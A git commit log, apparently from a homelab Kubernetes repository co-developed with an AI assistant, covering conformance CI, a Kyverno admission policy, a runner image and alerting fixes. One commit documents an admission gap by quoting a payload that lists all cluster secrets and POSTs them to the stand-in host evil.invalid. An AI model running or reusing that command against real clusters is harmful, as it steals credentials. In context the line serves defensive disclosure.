jakman85andClaude Opus 5	6ef4def2b5	feat(conformance): the in-cluster Job can now run a named commit and get its results out `conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty `emptyDir` with nothing to populate it, so the Job could never have run the suite at all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3. The whole shape is dictated by a fail-closed Enforce policy (platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only `workspace` and `results` as volume names. So: * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches `git` via an inline credential.helper that reads the environment, so the token is never in argv and never on disk; * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps `readOnlyRootFilesystem: true` without a third volume and without subPath mounts (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner); * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the clone target and `git clone` refuses a non-empty target -- hence the new `CONF_ARTIFACTS` override, honoured only when set. The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match ^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip was. Results leave over stdout because the trigger identity has no pods/exec and admission pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits them on an EXIT trap -- a failed run still ships its red JUnit -- between markers carrying bytes, base64 line count and sha256 TWICE: === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. === `kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so a collector that makes the five documented checks cannot mistake a partial log for a complete artifact set. Verified locally: full decode round-trips; head-truncation, tail-truncation, a dropped interior line and one corrupted character are each detected; exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching `rc=` in the envelope. Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template (a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`. FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same rendered template with only the init container's args replaced by `kubectl get secrets -A \| curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3, fail 0). The escalation the policy exists to stop is still reachable one field over, and was before this Job had an init container. A security boundary changes in its own reviewed PR, so it is documented in the manifest header and in decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it. UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist (plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the clone, the credential helper and the log transport are unexercised against a cluster. `ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch. Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1 green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE UNDETERMINED, rc 3. Nothing FAILED. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-29 23:01:33 -05:00
jakman85andClaude Opus 5	ab9ba32a76	feat(sec): bake conformance-clone so the init container has no injection surface Closes half of the admission gap a sibling agent found in PR #13's policy: it pins the MAIN container's `command` but never reads `initContainers`, so a Job from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's author: pass 3, fail 0 on a privileged alpine:latest init container running `kubectl get secrets -A`. The image now carries /usr/local/bin/conformance-clone, 0755 root:root, so uid 65532 cannot replace the one executable the policy will come to trust. Clone logic taken from PR #20's `clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match ^[0-9a-f]{40}$, and `rev-parse HEAD` is ASSERTED equal to it after checkout, so an unrendered placeholder is a hard failure instead of a silent run of the branch tip. No arguments are accepted. DEVIATION FROM THE BRIEF, DELIBERATE: the repo URL and clone target are COMPILED IN rather than read from the environment. I was asked to take SHA, repo URL and target dir from env. The policy contains no `env`/`valueFrom`/`secretKeyRef` clause at all -- so trusting CONFORMANCE_REPO_URL would move the injection one field over: the trigger points it at a repo it controls, this fetches that, and ./run.sh from the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env vars are still read so the Job template stays self-documenting, but a value disagreeing with the baked literal is a hard failure, never a redirect. The SHA is the only genuinely trusted per-run input. THIS IS HALF A FIX. What makes the fixed path REQUIRED rather than merely available is a 4th policy rule demanding command: ["/usr/local/bin/conformance-clone"] with no args on every initContainer. That edits the security boundary and belongs in its own reviewed PR -- it is NOT here. Until it lands the hole is open, and the README, the Containerfile and the script header all say so. VERIFIED by running it (uid 65532, --read-only): root:root 755 and confirmed not writable by the runner; seven negative cases each asserted to exit non-zero (arguments, missing SHA, a branch name, an unrendered @@placeholder@@, HOME off the workspace volume, a REDIRECTED repo URL, a clone target off the workspace volume); and the positive case -- a real clone of this repo at a real 40-hex SHA with rev-parse HEAD proven equal to it. Two bugs of mine that only running it could find, both fixed: the workspace-path guard matched /workspace/* and so rejected the image's own HOME=/workspace; and the negative checks were pipelines, which under pipefail aborted the verify at the first expected failure and silently skipped the other six. A verify that stops early looks exactly like a verify that passed. The anonymous-clone fallback is deliberate and logged: read access to this repo needs no credential today, the integrity guarantee is the SHA assertion rather than the credential, and requiring the Secret would make the script untestable without one. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5	529556d7c7	fix(conformance): state the chainsaw supply-chain gap accurately The Containerfile said chainsaw "publishes no per-asset checksum file at a stable URL". Literally true, and misleading: it reads as "no integrity option exists". Checked the release assets via the GitHub API -- v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside each tarball. So verification IS available, it just needs cosign in the builder stage and the right keyless identity for kyverno's release workflow. Comment now says what is actually true: kubectl is sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO rather than implied away. Deliberately not implemented here -- picking a trusted signer identity is a supply-chain decision that belongs in its own reviewed change, not a silent addition to a runner image. Noted that infra/devcontainer/Containerfile has the same gap for the same binary. Rebuilt after the edit; the in-image verification still passes. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5	8619c60e6e	feat(conformance): build the runner image the in-cluster Job could never have run The committed L2/L3 Job pins `ghcr.io/kyverno/chainsaw:v0.2.12` with `command: ["./run.sh"]`. Those two lines cannot both be true. That image carries the chainsaw binary and essentially nothing else -- no bash, no python3, no kubectl, no git -- so the Job would have failed at exec of `./run.sh`, before a single test ran. Nothing in the tree said so. This adds the image that makes the Job runnable (plan docs/plans/l2-l3-conformance-ci-wiring.md section 3 item 1): * conformance/incluster/Containerfile -- bash + python3 + chainsaw + kubectl + git-core + tar/gzip/coreutils (the base64-tar results channel of item 3). Two-stage: a full Fedora fetches the release binaries and verifies kubectl's published sha256; the runtime layer is fedora-minimal and carries no downloader. Versions are --build-arg-injected from infra/devcontainer/versions.env (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) -- the single source of truth -- so the chainsaw and kubectl in the runner are the same pins the toolbox gate runs with. No new pin is invented here, and the ARG defaults are EMPTY so a build that forgets one fails loudly instead of baking a stale version. * conformance/incluster/build-image.sh -- builds it, PROVES the toolchain by executing it inside the image, and prints the digest. It never pushes: the registry credential is not an agent's to hold and publishing the artifact a fail-closed policy then trusts is an operator action. It prints the exact `podman push --digestfile ...` line instead. * conformance/versions.env -- CONFORMANCE_RUNNER_IMAGE, with the digest deliberately EMPTY and a loud block saying the operator fills it in after the push. Empty is a visible failure in whatever renders the Job; a guessed digest would be an ImagePullBackOff dressed up as a cluster fault. WHAT THE ADMISSION BOUNDARY FORCED, AND WHY THE IMAGE OBEYS IT platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce + failurePolicy: Fail and it is the R-SEC-02 boundary. It is NOT modified here. Two of its clauses are load-bearing on the image itself: * `runAsNonRoot: true` with no explicit runAsUser means the kubelet rejects an image whose USER is a name it cannot resolve to a uid. So USER is NUMERIC (65532), not a friendly name. * The pod is readOnlyRootFilesystem and the policy admits only the `workspace` and `results` volumes -- there is no writable /tmp and one cannot be added without editing the boundary. So HOME, XDG_CACHE_HOME, XDG_CONFIG_HOME and TMPDIR all point into /workspace, and git's safe.directory config is written to /etc/gitconfig at BUILD time because a runtime --global write would fail. VERIFIED BY RUNNING IT, not by a successful build As uid 65532 with --read-only: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4 (client), chainsaw 0.2.12; / confirmed read-only, /workspace writable, uid confirmed non-zero. Then the real thing -- `./run.sh --lint`, `--coverage-only` and `--layer l2 --no-cluster` all rc 0 inside the image against this worktree, emitting coverage.md/.json and report.junit.xml. KNOWN LIMIT, FLAGGED NOT PAPERED OVER run.sh runs the selected offline L0/L1 checks before it touches the cluster for ANY selection that is not offline-only, and those checks shell out to flux, promtool, kyverno and kustomize, which this image does not carry. Baking the whole devcontainer toolchain into the runner would roughly double its size to re-run work ci/l0.sh and ci/l1.sh already did offline in the same CI run. So the Job must select the cluster-gated layers only (`--layer l2` / `--layer l3`); `--layer all` and a bare `--requirements <IDs>` would drag the L0 checks in and fail on a missing tool. `--layer l2` is verified above to resolve the offline selection to nothing. Choosing the Job's args belongs to T-6.1b; the constraint is documented in the Containerfile header and the incluster README rather than left for someone to discover from a pod log. chainsaw-job.yaml's `image:` is left stale ON PURPOSE -- there is no digest to put there yet, and the trigger renders that template per run (plan item 4). The README now says so instead of letting the placeholder read as a pin. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5	8c7a770de2	fix(sec): the R-SEC-02 admission policy was never applied -- and nothing could tell gate / gate (pull_request) Successful in 1m37s Details gate / conformance (pull_request) Has been skipped Details PR #13 added conformance-trigger-job-shape.yaml to platform/kyverno/admission/ kustomization.yaml. That file applies NOTHING. Its own sibling says so: "kept as reference; THIS file is the buildable render root" -- and that render root (platform/kyverno/kustomization.yaml) ships only the namespace and the HelmRelease, noting that ClusterPolicies are applied a tier later, by platform-config, because they need the Kyverno CRDs first. So three lists exist and only platform-config/kustomization.yaml applies anything. The policy went into the wrong one and EVERYTHING WENT GREEN: the file parsed, kyverno test exercised it by path and passed, the merge gate passed, and Flux reported `platform` Ready at the new revision. Measured on prod afterwards: kubectl get clusterpolicy conformance-trigger-job-shape Error from server (NotFound) while ns conformance, the conformance-trigger ServiceAccount, its Role and its RoleBinding were all live. That is exactly the state that identity's own RBAC header says must never exist -- the trigger identity present with nothing bounding it. Blast radius was small only because no trigger kubeconfig exists yet, which is luck, not design. Wires the policy into platform-config (verified: the render goes from 7 ClusterPolicies to 8 and contains conformance-trigger-job-shape). CLOSES THE CLASS, which matters more than the instance. Adds the L0 check admission-policies-actually-applied: every ClusterPolicy file under platform/kyverno/ is either referenced by platform-config/kustomization.yaml or named in a CI_ONLY list with a reason -- and CI_ONLY may not name a policy that IS applied, so the exemption cannot rot in either direction. Declared scope whole-repo deliberately: a policy wired nowhere touches no requirement the diff attributes, so a path-scoped run would have skipped it on the exact commit that introduced the defect. Proven both ways, not assumed: with the fix reverted -> FAIL, naming conformance-trigger-job-shape as never applied with the fix -> PASS, 9 policy files, 8 applied, 1 CI-only with a reason `kyverno test` proves a policy is CORRECT. This proves it is DEPLOYED. Nothing did before. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-29 13:23:09 -05:00
jakman85andClaude Opus 5	8eb5baffa4	feat(sec): constrain the conformance CI trigger at admission (R-SEC-02) gate / gate (pull_request) Successful in 1m38s Details gate / conformance (pull_request) Has been skipped Details Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow trigger SA bounded by a fail-closed Kyverno admission policy, rather than the zero-credential GitOps-native alternative (plan section 4, primary model). THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the trigger may create can. Adds: * SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a failed run), no exec, no secrets. Results come back as a tarball on stdout read via pods/log, so no execution channel into the runner pod is ever granted. * ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge the rest of the cluster. * Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating like apps-vms, so a test identity can never stall the platform or app tiers. * A kyverno test with seven cases, six of them real escalation paths. VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed: evil-command DENIED at /spec/template/spec/containers/0/command/ <- THE attack evil-image DENIED at .../image/ tag-not-digest DENIED at .../image/ (mutable tag is republishable) host-namespaces DENIED at /spec/template/spec/hostPID/ extra-volume DENIED by the volumes foreach injected-args DENIED by the args foreach good-run ADMITTED ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and exits 0. Measured while writing this policy -- a schema error (subjects in a separate match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a security policy that does not load as green. This is not specific to this policy: a typo in restrict-host-namespaces or secret-provenance would silently disable it with the gate still green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1, restored -> rc=0. IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That image does not exist yet, so this enforces the enforceable half -- the image must be under the conformance repository path AND digest-pinned, never a mutable tag. Residual surface: anyone who can PUSH to that path could publish a different digest. Tighten to the literal digest when the image is built; it is a one-line change to the pattern, reviewed in a PR, which is where a change to a security boundary belongs. NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE. The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true block rather than fake a green in the meantime. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-29 03:22:41 -05:00
jakman85andClaude Opus 5	e72050c690	docs: correct CI/platform documentation that was stale, wrong, or load-bearing gate / gate (push) Successful in 1m37s Details gate / gate (pull_request) Successful in 1m36s Details gate / conformance (push) Has been skipped Details gate / conformance (pull_request) Has been skipped Details The 2026-09-29 session found the merge gate did not exist -- no branch protection, no runner -- while the tree asserted both. This corrects the documents that carried, and in several cases CAUSED, that belief. CLAUDE.md gains section 2b: never infer platform state from this repository. It carries the specific API and kubectl checks for protection, runners, CI status, workloads and Flux revisions, and the rule that a green tick is not proof anything ran (a skipped Gitea job reports success). This is the rule whose absence produced every other finding. .gitea/workflows/README.md and merge-gate.yaml both said "there is no remote git host, this file is dormant". Gitea had been live for weeks. Both were written as plans and never revisited once the plan completed. The Transition section is now marked COMPLETE and says what is genuinely still outstanding (CLUSTER_AVAILABLE unset, so L2/L3 never runs in CI). DECISIONS-LOG 2026-08-31 is annotated IN PLACE. Anyone reading chronologically previously hit "required status check; runner incluster-dind online" with nothing marking it false until a month later. The correction now sits on the bullet itself. ci/README.md, clusters/README.md and both conformance READMEs carry a status banner: they speak as though no cluster exists, which makes a live L2/L3 coverage gap read as an expected phase. That framing is why the gap went unexamined. apps/wave-1/gitea-actions-runner-secret.sops.yaml: fixed a wrong path, replaced advice to `sops -d` into a terminal (which CLAUDE.md forbids) with the rotation script, and recorded that a fresh token alone does not re-register a runner holding a stale /data/.runner. apps/wave-0/plex-claim-secret.sops.yaml: the header claimed the file ships the placeholder. It has not since the claim -- it holds the spent token, which is inert and deliberately left in place. catalog/plex.yaml and the plex secret both asserted a "~4-minute TTL" as fact. It was uncited, upstream documents no expiry, and it was the basis for a since-disproven claim that the pipeline was too slow to fit inside it. Measured: ~2m45s. Both .sops.yaml files were verified to still decrypt after the comment edits (`sops -d > /dev/null`), and render==golden confirms the catalog comment does not propagate into the rendered manifest. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-29 02:14:26 -05:00
jakman85andClaude Opus 5	712f4c9336	fix(conformance): "unit-tested" counted an alert MENTIONED in a comment as tested alert-rules-unit-tested decided whether an alert had a unit test with a bare word match over the whole test file. Any mention counted — including prose in a `#` comment. Hit for real while adding platform/monitoring/tests/vpn-egress.test.yaml. Its header explains that VPNTunnelDown stays quiet during an egress-steering failure, and that sentence alone made this check declare VPNTunnelDown "asserted on" and demand its removal from UNTESTED_ALERTS. Removing the entry would have recorded coverage that did not exist — the precise "looks fixed" outcome this check exists to prevent, produced by the check itself. (In that instance I made the coverage real instead, which also exposed that the fixtures were missing tun0's receive counter entirely.) Now an alert counts only when a test file names it in an assertion position, with comment lines stripped first so a commented-out assertion does not count either. BOTH promtool idioms are accepted, because both are real assertions: alert_rule_test: - alertname: CNPGPrimariesCoLocated promql_expr_test: - expr: 'ALERTS{alertname="CNPGPrimariesCoLocated"}' Matching only the first is not a stricter check, it is a WRONG one: it reported CNPGPrimariesCoLocated as untested when platform/cnpg/alerts.promtool-test.yaml pins it across four scenarios entirely through the second form. Believing that would have produced a redundant duplicate test for an alert already covered better than most — so the first version of this very fix had to be corrected before it landed. MEASURED BEFORE LANDING, because the registers are shrink-only and a prose-only alert would have required an entry this check forbids adding: of 61 alerts, 32 are asserted in one of the two idioms, 29 are not mentioned at all (already declared), and ZERO were prose-only. So this tightening failed nothing on the day it landed. My first measurement said 31/30/0 and was wrong in a way worth recording: it scanned only tests/*.test.yaml and missed the <manifest>.promtool-test.yaml companion convention, which is exactly what hid the CNPGPrimariesCoLocated false negative. Verified in both directions: 134 assertions pass with the real coverage intact, and a temporary prose-only mention of NodeExporterDown (a registered untested alert) leaves it correctly listed as untested instead of triggering the stale-entry failure. Gated: offline l0,l1 --include-scope whole-repo — 24 cases, 0 failures, 0 skips, 0 unwired. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-19 01:00:59 -05:00
jakman85andClaude Opus 5	a3f4ddb971	merge: feat/egress-gateway-staleness-alert — finished so it can actually pass the gate Brings the two alerts for the silent egress-gateway failure: VPNEgressSteeringStale (critical) and VPNEgressUplinkLabelMissing (warning), plus the kube-state-metrics allowlist entry that makes them non-inert. WHY THE BRANCH SAT IN THE BACKLOG: it could not pass the merge gate. Three whole-repo checks failed on it, and each one was a real gap rather than a nuisance: * alert-runbooks-resolvable — both alerts link to /runbooks/vpn-egress-stale, which did not exist. An alert firing now would hand the operator a 404. * alert-rules-unit-tested — alerts.yaml is already a covered file, so new rules in it must be tested or a "tested" file quietly grows untested rules. * alert-metrics-have-scrape-targets — see the guard bug below. WHAT THE ALERTS CATCH. egress-class=vpn pods leave through one gateway node's tun0; Cilium resolves it to an ifindex and caches it. An OpenVPN reconnect destroys and re-creates tun0 with a NEW ifindex, and the node label homelab.keithjackson.dev/egress-uplink=<addr>-<ifindex> is what forces Cilium to re-resolve. If the label does not follow the tunnel, the cache points at a destroyed interface and every vpn-class pod is silently dropped — while tun0 stays up and VPNTunnelDown says nothing. That ran ~80 minutes undetected on the dev gateway. Verified this is live on prod, not inert: k3s-prod-3 carries egress-gateway=true and egress-uplink=10.150.192.86-139, and vpn-egress-steering has been in place 14 days. The label was exported on 0 series before this change, so the allowlist entry is what switches the alerts on. runbooks/vpn-egress-stale.md — written and wired into the configMapGenerator, with the four required operator sections. It leads with proving egress from a pod the policy selects, because the symptom is "outbound traffic silently disappears", and it says plainly not to "fix" this by deleting the policy: that does not restore egress, it sends vpn-class traffic out of the real ISP connection, which is the leak the class exists to prevent. platform/monitoring/tests/vpn-egress.test.yaml — four promtool fixtures. 1 and 2 are the SAME tunnel reconnect with and without the label following it, which isolates the mechanism the rule actually keys on: a label VALUE change is not a changing sample, it retires one series and starts another. 3 is the inert case (gateway node, no uplink label) where the critical rule CANNOT fire, which is why the warning exists. Two fixes the branch needed that were defects in the checks themselves: 1. alert-metrics-have-scrape-targets asserted the KSM allowlist matched `nodes=[...egress-gateway]` with a literal closing bracket — i.e. that the list contained EXACTLY that one label. Adding a second label correctly (egress-uplink, which these alerts need) therefore FAILED the check while the property it guards was perfectly satisfied. Loosened to `[,\]]`: in the list, not the whole list. A guard that breaks when you correctly extend the thing it guards teaches people to edit the guard, which is how it stops guarding. 2. UNTESTED_ALERTS listed VPNTunnelDown, and the check flagged it as stale because "asserted on" is a bare word match over the test file — my header COMMENT mentioning VPNTunnelDown was enough to count as coverage. Rather than delete the register entry and claim coverage that did not exist, the fixtures now assert VPNTunnelDown QUIET in all four cases. That required making them faithful: they had no node_network_receive_bytes_total{device="tun0"} at all, so VPNTunnelDown would have been firing throughout unnoticed, because promtool only checks the alertnames you name. A healthy tun0 passes traffic, and that silence IS the claim these rules exist for. NOTE FOR LATER, not fixed here: that word-match means any alert named in prose counts as tested. Tightening it to `alertname:` positions could reveal other prose-only "coverage", and the register is shrink-only, so the cascade wants doing deliberately rather than at 01:00 unattended. Conflicts resolved: kept HEAD's Velero custom-resource-state block and took only the branch's one-line allowlist change (14 lines down to 1); inserted the branch's 2026-09-12 DECISIONS-LOG entry in date order rather than appending it out of sequence. Gated: offline l0,l1 --include-scope whole-repo — 24 cases, 0 failures, 0 skips, 0 unwired. The new unit tests pass under the pinned promtool 3.14.0. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-19 00:52:06 -05:00
jakman85andClaude Opus 5	755c08ab40	fix(conformance): the meta-check was layer-agnostic and reported failures silently Declaring whole-repo scope on the L1 tests made whole-repo-invariants-wired (R-TEST-03) fail. It was right to change behaviour and wrong about why, and it could not tell anyone either way. Two independent defects. 1. LAYER-AGNOSTIC WHERE THE DESIGN IS LAYER-BOUNDED The "every scope-declared test is selected despite a requirement filter matching none" assertion compared EVERY scope-declaring dir against an `--layer l0` selection. That silently assumed only L0 tests would ever declare the scope — while ci/l1.sh was written from the opposite premise, that a whole-repo invariant could appear at any layer. So the first L1 declaration made the check blame the union for correctly excluding another layer. Now partitioned by layer, and the L1 half of the property is asserted too: every scope-declared L1 test must be selected by `--layer l1 --include-scope`, and that selection must not leak non-L1 tests. That is what makes the L1 declaration load-bearing rather than decorative — previously nothing proved the union reached L1 at all, because nothing at L1 declared the scope. 2. EVERY ASSERTION FAILED SILENTLY The idiom throughout was a bare test on one line and `chk $?` on the next, under `set -euo pipefail`. A false test aborts the script BEFORE chk can print, so the diagnostic — which is the entire value of this check — was never reached. The real failure above emitted 26 `ok` lines, rc=1, and no message at all; it read as a tooling glitch rather than a finding. All 12 assertion sites now capture the status (`chk $arc`) so the check reports and continues. Proven by forcing MIN_DECLARED=999 against the real check: the failure prints its full explanation and the run proceeds to the remaining assertions, where before it died mute. A meta-check that cannot say why it failed is worse than no meta-check. Verified: 35 assertions, rc=0; full offline l0,l1,meta 25 tests / 0 failures. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-18 22:43:17 -05:00
jakman85andClaude Opus 5	b389566641	fix(conformance): L1 rendering never ran on a requirement-scoped gate All three L1 tests now declare `conformance.home.k3s/scope: "whole-repo"`. ci/l1.sh has passed --include-scope whole-repo since it was written, with a comment saying no L1 test declared the scope yet and it was wired ahead of time so the next whole-repo invariant "at any layer" would be picked up by annotation alone. Nothing ever declared it. The consequence is that the entire L1 rendering layer only ran when a touched path happened to attribute R-PLAT-02, R-NET-01 or R-NET-05/06/07 — a fail-open hole for every other change in the repo. The coupling requirement-scoped selection cannot see is that all three tests exercise ONE code path: catalog/render.py against schemas/servicedefinition.schema.json. Anything that changes rendered output invalidates these goldens no matter which requirement the touched path maps to. The 2026-09-04 external-dns merge is the proof, measured rather than asserted. ci/touched-requirements.sh attributes platform/externaldns/helmrelease.yaml to R-ENV-02, R-OBS-01/02/04, R-STATE-03 and R-TEST-01/02/03/04 — none of the rendering requirements — yet that change added external-dns.alpha.kubernetes.io/controller: none to the rendered output of all three goldens. Via --print-selection: requirement-scoped only (the 2026-09-04 behaviour): 0 L1 tests selected with --include-scope whole-repo (how ci/l1.sh runs): 3 L1 tests selected So the merge gated GREEN while leaving every rendering golden stale, and the staleness surfaced only on a later full run. Also corrects the now-false comment in ci/l1.sh that said no L1 test declares the scope, and records why the annotation is load-bearing there. Verified: offline l0,l1,meta --include-scope whole-repo in the pinned toolbox — 25 tests, 0 failures, 0 errors, exit 0. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-18 22:43:03 -05:00
jakman85andClaude Opus 5	79c703bc79	fix(conformance): whole-repo checks audited nested agent worktrees as source Six discovery sites walked ROOT without pruning dot-directories, so they descended into .claude/worktrees/agent-*/ — up to 18 full copies of the repo, created for isolated agent runs and gitignored (.gitignore:43). The visible half was false FAILs: four ServiceMonitors reported as selecting no Service, and nine PrometheusRule manifests reported as "under test but not in the repo", all of them worktree paths. The whole-repo L0 gate was red for reasons that had nothing to do with authored surface. The dangerous half is quieter. A check that asks "does anything in the repo declare X" can be satisfied by a worktree copy instead of real source, so the same bug that invents failures can also manufacture a pass. That is the reason to fix all six sites rather than only the ones that happened to be failing. egress-paths-selected-by-rules already had this fix and documents it (it once saw 5 CiliumEgressGatewayPolicy objects instead of the 1 authored); this applies the same dot-directory predicate everywhere else, which skips dot-DIRECTORIES while still matching dot-FILES such as .sops.yaml. platform/monitoring/tests/run.sh is the other side of the same failure: its `--list` reported each manifest once per worktree, and the L0 check compares that listing against the tree. Both find calls now prune .claude alongside .git. `--list` returns 21 real pairs where it previously returned them ~19x over. Verified in the pinned toolbox: L0 --include-scope whole-repo is 21 cases, 0 failures, 0 skips, 0 unwired (was 4 failures, then 1). L1 3/3. The 18 stale worktrees are all on already-merged branches and remain on disk; cleaning them up is a separate change and is no longer load-bearing for the gate. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-18 22:14:51 -05:00
jakman85andClaude Opus 5	05881d5a6a	fix(conformance): regenerate the three L1 goldens the external-dns change drifted gate / gate (push) Has been cancelled Details gate / conformance (push) Has been cancelled Details `b184a42` made the renderer stamp external-dns.alpha.kubernetes.io/controller: none on internal services' HTTPRoutes, but three L1 golden fixtures were never regenerated, so container-workload-render (R-PLAT-02) and egress-class-render (R-NET-05/06/07) failed. Exactly one line differs in each — the annotation and nothing else. WORTH RECORDING: the merge that caused this GATED GREEN. The requirement-scoped selection did not include R-PLAT-02 or R-NET-05/06/07, so neither check ran. A later docs-only commit shifted the touched set, selected them, and exposed a failure the earlier merge had introduced — meaning the gate reported PASS on a tree it had not actually checked in the relevant place. That is the same fail-open the whole-repo scope mechanism was built for, except that mechanism covers L0 only; L1 is still purely requirement-scoped. A renderer change can therefore drift any L1 golden whose requirements the change does not happen to attribute. Both affected checks are pure offline renders with no cluster dependency, so they are cheap to run unconditionally — declaring scope: whole-repo on the l1-rendering tests looks like the right follow-up. Also note the checks diff fail-fast: only egress-vpn was reported, while egress-internet had drifted identically and was never reached. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-18 20:59:19 -05:00
jakman85	b184a42729	merge: internal services stop advertising themselves in public DNS Six exposure:internal services published A records into the public Cloudflare zone answering 192.168.2.20, disclosing the internal subnet, the Gateway VIP and a full service inventory, and forming a DNS-rebind primitive that is why the SOHO router strips these answers in the first place. The renderer now stamps external-dns.alpha.kubernetes.io/controller: none on every HTTPRoute it renders for an internal service, derived from the exposure field alone — so a service that omits exposure defaults to internal and is likewise unpublishable. Established against the deployed v0.21.0's own source, where the controller check runs before hostname resolution in both configured sources, then proven live on a throwaway hostname including that adding the annotation to an existing record triggers the DELETE. Deletes exactly 12 records: the A and TXT pair for jackett, pihole, qbittorrent, radarr, semaphore and sonarr. A 39-record recovery baseline is committed alongside. Safe to land before the DHCP change, contrary to my earlier caution: the router returns NOTHING for all six names today, so these records serve nobody on the LAN, while Pi-hole at 192.168.2.23 already answers for anyone pointed at it. The five exposure:public services are untouched. They remain unreachable publicly, which is a separate problem: the legacy edge at 136.51.115.252 returns HTTP 403 for our hostnames and serves a placeholder certificate, so nothing is reverse-proxying them today.	2026-09-18 20:50:43 -05:00
jakman85andClaude Opus 5	4664b41db3	fix(l4): externalTrafficPolicy Cluster on unifi + crafty L4 VIPs Cilium's L2 announcer elects one node per Service to answer ARP for its LoadBalancer VIP, and that election is NOT backend-aware. Combined with externalTrafficPolicy: Local -- which lets a node deliver only to a backend on itself -- an elected announcer holding no backend answers ARP for the address and then has nowhere to send the packet, so the client gets ICMP port unreachable. It never self-heals: the lease holder keeps renewing after the backend moves away. Measured on prod 2026-09-14: unifi's VM ran on k3s-prod-1 with both leases on k3s-prod-2, and crafty's pod ran on k3s-prod-1 with the -tcp lease on k3s-prod-2 while its identical -udp twin happened to draw k3s-prod-1 and worked. Confirmed causally on the announcing node with `cilium-dbg service list`: under Local the frontend 192.168.2.22:25565 is absent from that node's service table entirely; under Cluster it appears as `1 => 10.0.0.11:25565 (active)`; flipped back, it vanishes again. Durability confirmed by cordoning k3s-prod-1 and moving the crafty pod to k3s-prod-3, after which the announcing node re-pointed to the new backend with no intervention. Both files also carried a comment claiming Local "pins the VIP to the node running the pod", which is the precise thing that is false here; both are rewritten. apps/wave-0/pihole-dns.yaml is the reference implementation. The client-IP cost is stated per service rather than waved away. For unifi it is ZERO: the VM's KubeVirt `masquerade` binding already SNATs everything into the guest, so Local was never preserving a client address the controller could see. For crafty it is real and accepted -- player identity is a Mojang/Xbox UUID so /ban and the whitelist are unaffected, but /ban-ip would hit every player at once and must not be used; no IP ban or per-IP rate limit is configured today. No loadBalancerSourceRanges here, deliberately departing from pihole-dns.yaml: these Services never had a source restriction 